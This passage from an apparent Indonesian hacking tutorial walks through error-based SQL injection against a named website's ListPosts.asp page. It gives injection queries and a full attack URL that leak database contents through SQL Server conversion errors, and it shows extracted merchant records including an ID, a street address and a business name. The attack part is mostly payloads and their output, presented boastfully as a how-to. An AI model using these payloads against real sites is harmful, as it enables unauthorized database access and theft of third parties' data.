Error yg muncul:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'merchantName' to a column of data type int.
/main/ListPosts.asp, line 56

dapat tuh column "merchantName" ekkekekeke ....

Silahkan kalo mo nyari lagi ^^

PENGAMBILAN DATA !!!
====================

Contoh kita mau lihat isi dari column "merchantid, address, merchantName" yg ada di tabel "Merchants".

Query : and 1=convert(int,(select top 1 merchantid from merchants))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 merchantid from merchants))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'alohacc' to a column of data type int.
/main/ListPosts.asp, line 56

dapat "merchantid" = "alohacc".

nah gmn kalo mau ngambil isi column ne sekaligus ??

Query : and 1=convert(int,(select top 1 merchantid%2b':'%2baddress%2b':'%2bmerchantName from merchants))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'alohacc:154 West Coast Rd Ginza Plaza #B1-55 S(127371):aloha Cybercafe' to a column of data type int.
/main/ListPosts.asp, line 56

Note : %2b = + sedangkan ':' = pembatas

FINISH !!!
==========
____________________________________________________________
"Kegantengan Sejati yg Muncul dr relung Hati yg Paling Dalam"